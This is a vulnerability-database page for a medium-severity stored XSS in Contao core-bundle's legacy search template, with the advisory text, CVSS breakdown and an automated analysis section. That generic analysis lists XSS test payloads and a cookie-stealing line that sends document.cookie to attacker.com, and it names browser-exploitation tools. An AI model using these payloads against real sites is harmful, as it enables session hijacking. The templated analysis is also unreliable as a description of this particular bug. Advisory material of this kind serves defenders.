CVE Professor
›
Back
CVE-2026-104884

CVE-2026-104884 — Contao/core-bundle — CWE-79

MEDIUM CVSS 5.4 GitHub

CVE-2026-104884 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-79) (CVSS 5.4/10) affecting Contao/core-bundle. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) requiring user interaction, triggering a scope change (S:C) across connected components and posing a direct security risk to affected deployments.

📄 Official NVD / MITRE Original Record Text

Commit `23e8cca3136a` hardened the search-result title against insert-tag/XSS by setting `$objTemplate->title = StringUtil::specialchars(StringUtil::stripInsertTags($arrResult[$i]['title']))`. But the legacy HTML5 template does not use that `title` variable - it prints the raw `link` variable, which is assigned without escaping. ## Impact Affected configuration (important): on 5.7.9 the default search template is the Twig `search_default.html.twig`, which does not use the raw `link` variable and auto-escapes - so a default Twig install is not affected. The vulnerable raw echo is in the legacy `search_default.html5` template (still shipped and selectable in 5.7.9, line 8: `<?= $this->link ?>`); exploitation requires that legacy template to be active for the search module (common on sites migrated from earlier Contao / using custom template selection). Where the legacy template is used, the sink is unambiguously raw and `ModuleSearch::compile()` assigns `link` from the entity-decoded indexed title. A backend page editor can store script that executes for anonymous front-end visitors (and admins) viewing search results, a stored XSS crossing the editor -> anonymous-visitor boundary. ## Credits This security vulnerability was found by @HDWSec

Published 20.11.2026
ISO Date 2026-11-20
CVSS Version v3.1
Source GitHub
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction Required UI:R
Scope Changed S:C
Confidentiality Low C:L
Integrity Low I:L
Availability None A:N
AI Security Analysis & Remediation
🤖 Generating Deep AI Security Analysis…
Analyzing CVSS vector & CWE weakness structure…

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-104884
CVSS 5.4/10 · MEDIUM · 20.11.2026
CWE: CWE-79
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: Commit 23e8cca3136a hardened the search-result title against insert-tag/XSS by setting $objTemplate->title = StringUtil::specialchars(StringUtil::stripInsertTags($arrResult[$i]['title'])). But the legacy HTML5 template does not use that title variable - it prints the raw link variable, which is assigned without escaping. ## Impact

Affected configuration (important): on 5.7.9 the defaul…
Affected: contao/core-bundle

⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.

🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)

🌍 REAL WORLD IMPACT
Pivot to other systems possible.

🛡️ REMEDIATION
→ Apply vendor security update for contao/core-bundle.
→ Add CSP headers, HTML-encode all user input.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
📋 Routine update cycle (30 days)

────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
5.4 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-79
Affected Products (1)
contao/core-bundle
References & Advisories (4)
Related CVEs
7.1
CVE-2026-129016
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Andrea T
7.1
CVE-2026-131700
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dylan Ku
7.1
CVE-2026-131708
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Metagaus
7.1
CVE-2026-131702
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NextScri
7.1
CVE-2026-131714
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kaliform
7.1
CVE-2026-131718
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Liquid W